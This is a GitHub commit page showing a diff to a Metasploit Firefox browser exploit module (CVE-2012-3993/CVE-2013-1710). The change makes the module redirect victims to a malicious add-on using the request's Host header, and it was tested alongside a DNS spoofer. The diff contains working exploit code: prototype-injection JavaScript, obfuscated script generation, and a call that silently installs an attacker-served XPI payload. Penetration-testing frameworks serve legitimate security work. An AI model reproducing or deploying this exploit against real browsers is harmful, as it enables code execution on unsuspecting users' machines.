Skip to content

Commit 14c9569

Browse files
author
RageLtMan
committed
2013-1710 - Use header VHOST info for redirection
When this exploit is hit by hostname, the HTTP request contains a Host header field which does not match the IP-based redirection. Update the module to check request headers for host information, and fallback to the prior behavior if none exists. Tested in conjunction with rapid7#6611 DNS spoofer - works great, see issue rapid7#7098 for details.
1 parent b13d0f8 commit 14c9569

File tree

1 file changed

+11
-5
lines changed

1 file changed

+11
-5
lines changed

modules/exploits/multi/browser/firefox_proto_crmfrequest.rb

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -45,10 +45,8 @@ def initialize(info = {})
4545
'DisclosureDate' => "Aug 6 2013",
4646
'References' => [
4747
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
48-
['OSVDB', '86111'],
4948
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
5049
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
51-
['OSVDB', '96019']
5250
],
5351
'BrowserRequirements' => {
5452
:source => 'script',
@@ -68,17 +66,25 @@ def on_request_exploit(cli, request, target_info)
6866
send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
6967
else
7068
print_status("Sending HTML")
71-
send_response_html(cli, generate_html(target_info))
69+
res = generate_html(target_info,request.headers['Host'])
70+
vprint_status res.to_s
71+
send_response_html(cli, res)
7272
end
7373
end
7474

75-
def generate_html(target_info)
75+
def generate_html(target_info,refer)
7676
injection = if target_info[:ua_ver].to_i == 15
7777
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
7878
else
7979
"p2.constructor.defineProperty(obj,key,{get:runme});"
8080
end
8181

82+
if refer.nil? or refer.blank?
83+
redirect = "#{get_module_uri}/addon.xpi"
84+
else
85+
redirect = "http://#{refer}/#{@exploit_receiver_page}/addon.xpi"
86+
end
87+
8288
script = js_obfuscate %Q|
8389
try{InstallTrigger.install(0)}catch(e){p=e;};
8490
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
@@ -107,7 +113,7 @@ def generate_html(target_info)
107113
js_payload = js_obfuscate %Q|
108114
if (!window.done) {
109115
window.AddonManager.getInstallForURL(
110-
'#{get_module_uri}/addon.xpi',
116+
'#{redirect}',
111117
function(install) { install.install() },
112118
'application/x-xpinstall'
113119
);

0 commit comments

Comments
 (0)